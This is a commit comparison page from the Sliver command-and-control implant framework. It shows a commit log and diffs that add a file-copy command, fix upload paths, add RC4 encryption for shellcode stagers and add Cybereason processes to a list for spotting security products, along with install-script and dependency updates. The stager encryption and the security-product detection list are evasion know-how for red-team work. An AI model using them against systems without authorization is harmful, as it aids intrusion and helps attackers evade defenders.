Compare commits

...
Author SHA1 Message Date
c2biz 0a32ca109d Added Cybereason ActiveProbe to known processes 2023-08-09 16:01:03 -04:00
Joe d048427ebf Merge pull request #1284 from rwincey/notxt_dns
Notxt dns
2023-08-08 18:37:58 -05:00
Joe d22579c204 Merge pull request #1374 from BishopFox/mtls/lencheck
Add basic len check to mtls conn
2023-08-08 18:37:29 -05:00
Joe 1e79af3d89 Merge pull request #1375 from BishopFox/87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1
Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
2023-08-08 12:09:15 -05:00
Joe f018f86522 Merge branch 'master' into 87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1 2023-08-08 12:08:58 -05:00
Joe 584cacb7da Merge pull request #1377 from TheDuchy/master
Add the ability to generate .exe MSF stagers from Sliver
2023-08-08 12:08:13 -05:00
Ronan Kervella 714ab96270 Merge branch 'master' into mtls/lencheck 2023-08-08 09:59:30 -07:00
duchy c7a2bbc46b Added ability to generate .exe stagers from MSF 2023-08-08 13:26:27 +02:00
dependabot[bot] 4458911e5c Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.1 to 1.3.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.1...v1.3.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-08-07 03:50:35 +00:00
Joe 477df0eac9 Merge pull request #1335 from BishopFox/b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Bump golang.org/x/crypto from 0.10.0 to 0.11.0
2023-08-04 15:50:22 -05:00
Joe 22286fdcdd Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Signed-off-by: Joe <[email protected]>
2023-08-04 15:50:13 -05:00
Joe 150b62a0aa Merge pull request #1373 from BishopFox/fix/windows-assets-filepath
Use path.Join for embedded fs instead of filepath.Join
2023-08-04 15:47:44 -05:00
rkervella 270e9f2c5f Use path.Join for embedded fs instead of filepath.Join 2023-08-04 12:59:55 -07:00
Joe ce81ce5de0 Merge pull request #1372 from BishopFox/go/v1.20.7
Go 1.20.7
2023-08-04 09:13:05 -05:00
moloch-- 388b371573 Add basic len check to mtls conn 2023-08-03 17:32:57 -07:00
moloch-- a4425c169e Update go 2023-08-03 17:03:07 -07:00
Joe fd0e54c02c Merge branch 'master' into notxt_dns 2023-08-03 18:57:50 -05:00
Joe 59212f06fd Merge pull request #1339 from BishopFox/e3bddependabot/go_modules/golang.org/x/sys-0.10.0
Bump golang.org/x/sys from 0.9.0 to 0.10.0
2023-08-03 18:57:09 -05:00
Joe 0140bc2b8f Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-08-03 18:56:54 -05:00
Ronan Kervella 4faaa4c075 Merge pull request #1368 from SpadesA99/master
Fix CP command file occupation
2023-08-01 18:51:13 -07:00
SpadesA99 ef1e12e6d4 Fix CP command file occupation
Signed-off-by: SpadesA99 <[email protected]>
2023-08-01 18:04:31 +08:00
Ronan Kervella 7741b0373f Merge branch 'master' into notxt_dns 2023-07-28 11:09:44 -07:00
Joe 4f2767ab59 Merge pull request #1356 from rarFood/master
fix 'gpg: invalid armor header'
2023-07-23 17:18:53 -05:00
rarFood 68f78e791f fix 'gpg: invalid armor header' 2023-07-21 11:21:05 -04:00
Ronan Kervella d28bac4259 Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-07-19 08:35:23 -07:00
Ronan Kervella 00197deefb Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0 2023-07-19 08:33:47 -07:00
Ronan Kervella 0bfbe9ecd4 Merge pull request #1350 from n3rada/install_script
Enhance the `install` script
2023-07-19 08:27:30 -07:00
Joe 88ac55a2f7 Merge branch 'master' into install_script 2023-07-16 08:19:40 -05:00
Ronan Kervella a1c19bc745 Merge pull request #1352 from xinhuang/pr/no-http-fallback-master
Add option to disable connect to tcp/80 when tcp/443 not reachable
2023-07-13 11:24:20 -07:00
Xin Huang 5a39e253bb Add no-fallback=true parameter for https beacons so they won't connect to TCP 80 if TCP 443 isn't reachable 2023-07-14 01:08:47 +09:00
n3rada 3b8912df4f Enhance the install script 2023-07-13 00:04:29 +02:00
Ronan Kervella 452ce12e9f Merge pull request #1346 from Paradoxis/feature/added-copy-command
Added a copy file command
2023-07-12 10:34:03 -07:00
Ronan Kervella aed28b0ff1 Merge branch 'master' into feature/added-copy-command 2023-07-12 09:21:18 -07:00
Ronan Kervella a2c3263619 Merge pull request #1345 from BishopFox/fix/pstree-1.6
Fix pstree (v1.6)
2023-07-12 08:49:33 -07:00
Paradoxis 300c2f7851 Titlecased copy message 2023-07-12 00:06:31 +02:00
Paradoxis b1d41f1032 Added a check to ensure two arguments are passed to CpCmd 2023-07-12 00:01:39 +02:00
Paradoxis 9054d11749 Moved constants to the end 2023-07-12 00:01:30 +02:00
Paradoxis c1f0b32c93 Added a copy file command 2023-07-11 23:55:00 +02:00
Ronan Kervella a3ecf3d593 Merge branch 'master' into fix/pstree-1.6 2023-07-11 14:23:49 -07:00
rkervella 1a43e70fd1 Fix pstree 2023-07-11 12:25:23 -07:00
Ronan Kervella 1fc7d881b2 Merge pull request #1341 from BishopFox/upload-fixes
Upload command: Changes to remote path specification
2023-07-11 08:43:26 -07:00
Raf 27254a2d89 upload: Fixing panic when remote path not specified, allowing for specification of a directory for remote path 2023-07-10 16:49:03 -04:00
dependabot[bot] 19573c9f20 Bump golang.org/x/sys from 0.9.0 to 0.10.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/sys/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:36:14 +00:00
dependabot[bot] 0f11532e37 Bump golang.org/x/crypto from 0.10.0 to 0.11.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/crypto/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:35:37 +00:00
Joe c75cf89def Merge branch 'master' into notxt_dns 2023-07-08 11:27:04 -05:00
Joe 2c6cf1e96b Merge pull request #1332 from stephenbradshaw/stager-rc4-support
Add RC4 support to shellcode stager
2023-07-08 11:26:13 -05:00
Stephen Bradshaw bd4d5eca77 Add RC4 support to shellcode stager 2023-07-08 14:53:37 +10:00
Joe 514da3a682 Merge pull request #1324 from BishopFox/a8c6dependabot/go_modules/gorm.io/gorm-1.25.2
Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
2023-07-03 00:38:33 -05:00
Joe 5e691bdf25 Merge branch 'master' into a8c6dependabot/go_modules/gorm.io/gorm-1.25.2 2023-07-03 00:38:26 -05:00
Joe 0eb997388a Merge pull request #1325 from BishopFox/6595dependabot/go_modules/google.golang.org/protobuf-1.31.0
Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
2023-07-03 00:38:10 -05:00
dependabot[bot] 33e6273c62 Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
Bumps google.golang.org/protobuf from 1.30.0 to 1.31.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:44 +00:00
dependabot[bot] 704d65059f Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.2)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:39 +00:00
Joe dee7434bd8 Merge pull request #1323 from BishopFox/go/v1.20.5
Go v1.20.5
2023-07-01 17:33:57 -05:00
moloch-- 8b6b0d7a14 Go v1.20.5 2023-07-01 14:31:55 -07:00
Joe ccf53647b8 Merge pull request #1322 from BishopFox/multiplayer/tailscale
Multiplayer/Tailscale
2023-07-01 11:35:33 -05:00
Joe bfacc71048 Merge branch 'master' into notxt_dns 2023-06-29 09:18:11 -05:00
Joe f99b3cae9c Merge branch 'master' into notxt_dns 2023-06-26 14:26:42 -05:00
Joe 6bd1108152 Merge branch 'master' into notxt_dns 2023-06-20 16:29:33 -05:00
Joe 6db7861a70 Merge branch 'master' into notxt_dns 2023-06-20 13:56:16 -05:00
b0yd bbe5f4c7cf Removed unnecessary change 2023-06-07 10:15:09 -04:00
b0yd 66c521d719 Merge updates 2023-06-07 09:58:47 -04:00
b0yd 9148720eb2 Added logic to send clear message after a job is completed 2023-06-06 11:09:52 -04:00
b0yd 80947425ec Don't bail on replay attack 2023-06-05 17:23:26 -04:00
b0yd 185ded66c2 Error msg 2023-06-05 17:04:35 -04:00
b0yd 884f2d0bd7 Typo 2023-06-05 16:57:51 -04:00
b0yd 4d0f6585d8 More dbg msgs 2023-06-05 16:48:24 -04:00
b0yd 998bd5ab80 Fixed empty message bug 2023-06-05 16:19:15 -04:00
b0yd 76a8de643f Fixed empty message bug 2023-06-05 16:12:23 -04:00
b0yd 66b7b98ed3 Hopefully fixed race condition 2023-06-02 16:49:19 -04:00
b0yd d341b1cb3a Hopefully fixed race condition 2023-06-02 16:13:01 -04:00
b0yd f5d2cd2e94 Initialized new map 2023-06-02 15:59:45 -04:00
b0yd 2b2feb306b Hopefully fixed race condition 2023-06-02 15:46:34 -04:00
b0yd d390ac95c7 Attempting to fix race condition in poll 2023-06-02 15:03:18 -04:00
b0yd 52ff6b4c52 Do not respond if there are no messages available 2023-06-02 14:31:23 -04:00
b0yd 4c8486349b Do not respond if there are no messages available 2023-06-02 14:29:08 -04:00
b0yd 58bcac52eb Refuse requests for duplicate requests 2023-06-02 14:11:24 -04:00
b0yd 8469c9a1ce Debug on message send queue 2023-06-02 13:15:27 -04:00
b0yd ca7b62fb7e Removed some error handled that was designed that way 2023-06-02 10:53:22 -04:00
b0yd 1902f131e7 Added error handling, debug msgs, and indexes to AAAA records to be reassembled 2023-06-02 09:40:55 -04:00
b0yd 80e04c71ff Merge branch 'notxt_dns' of https://github.com/rwincey/sliver into notxt_dns 2023-06-01 14:58:04 -04:00
b0yd b8697f6271 Switched from cname to just aaaa IPs 2023-06-01 14:56:01 -04:00
rwincey 91b2836968 Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 13:46:55 -04:00
rwincey 244639a79c Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 10:12:52 -04:00
b0yd 992ee14e82 Fixed cname recursive lookup 2023-05-29 16:00:50 -04:00
b0yd 2066d200c4 More size massaging 2023-05-29 13:10:20 -04:00
b0yd 683a779159 More size massaging 2023-05-29 12:49:35 -04:00
b0yd d14003bf14 More size massaging 2023-05-29 11:15:29 -04:00
b0yd e4b6da3471 More size massaging 2023-05-29 11:06:58 -04:00
b0yd 4c0f36dba2 More size massaging 2023-05-29 10:50:56 -04:00
b0yd 302711e817 Trimmed DNS size to fit within 512 2023-05-26 17:39:35 -04:00
b0yd a8b69b352d Added AAAA record to response along with CNAME 2023-05-26 11:32:43 -04:00
b0yd f180dd9aff Added support for nonTXT based DNS comms 2023-05-26 09:13:45 -04:00
208 changed files with 29577 additions and 9126 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.20.4
FROM golang:1.20.7
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+1 -1
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,go_sqlite
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
+82
View File
@@ -0,0 +1,82 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+14 -7
View File
@@ -42,8 +42,13 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
return
}
remotePath := ""
localPath := args[0]
remotePath := args[1]
if len(args) > 1 {
remotePath = args[1]
}
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
isIOC, _ := cmd.Flags().GetBool("ioc")
@@ -59,11 +64,12 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
fileName := filepath.Base(src)
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
@@ -76,11 +82,12 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
})
ctrl <- true
<-ctrl
+24
View File
@@ -43,6 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
listenerURL, _ := cmd.Flags().GetString("url")
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
@@ -70,6 +71,21 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -121,6 +137,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
@@ -198,6 +218,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+4
View File
@@ -86,6 +86,10 @@ var knownSecurityTools = map[string][]string{
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
}
// PsCmd - List processes on the remote system
+7
View File
@@ -51,9 +51,16 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+1
View File
@@ -376,6 +376,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
+19
View File
@@ -791,6 +791,25 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(cpCmd)
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
+1
View File
@@ -199,6 +199,7 @@ const (
LsStr = "ls"
MvStr = "mv"
CpStr = "cp"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
+59 -50
View File
@@ -1,47 +1,40 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
SLIVER_GPG_KEY_ID="4449039C"
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
else
echo "Unsupported OS, exiting"
exit
fi
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, exiting"
exit 1
fi
done
cd /root
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
@@ -96,42 +89,53 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
#
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
@@ -157,7 +161,11 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
@@ -167,10 +175,11 @@ chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.20.4"
GARBLE_VER="1.20.4a"
GO_VER="1.20.7"
GARBLE_VER="1.20.7"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
+7 -7
View File
@@ -38,25 +38,25 @@ require (
github.com/spf13/cobra v1.7.0
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.8.2
github.com/tetratelabs/wazero v1.2.1
github.com/tetratelabs/wazero v1.3.1
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.10.0
golang.org/x/crypto v0.11.0
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1
golang.org/x/net v0.11.0
golang.org/x/sys v0.9.0
golang.org/x/term v0.9.0
golang.org/x/text v0.10.0
golang.org/x/sys v0.10.0
golang.org/x/term v0.10.0
golang.org/x/text v0.11.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.56.1
google.golang.org/protobuf v1.30.0
google.golang.org/protobuf v1.31.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
gorm.io/driver/sqlite v1.5.2
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55
gorm.io/gorm v1.25.2
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f
modernc.org/sqlite v1.23.1
tailscale.com v1.44.0
+14 -14
View File
@@ -368,8 +368,8 @@ github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGm
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs=
github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
@@ -411,8 +411,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM=
golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I=
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
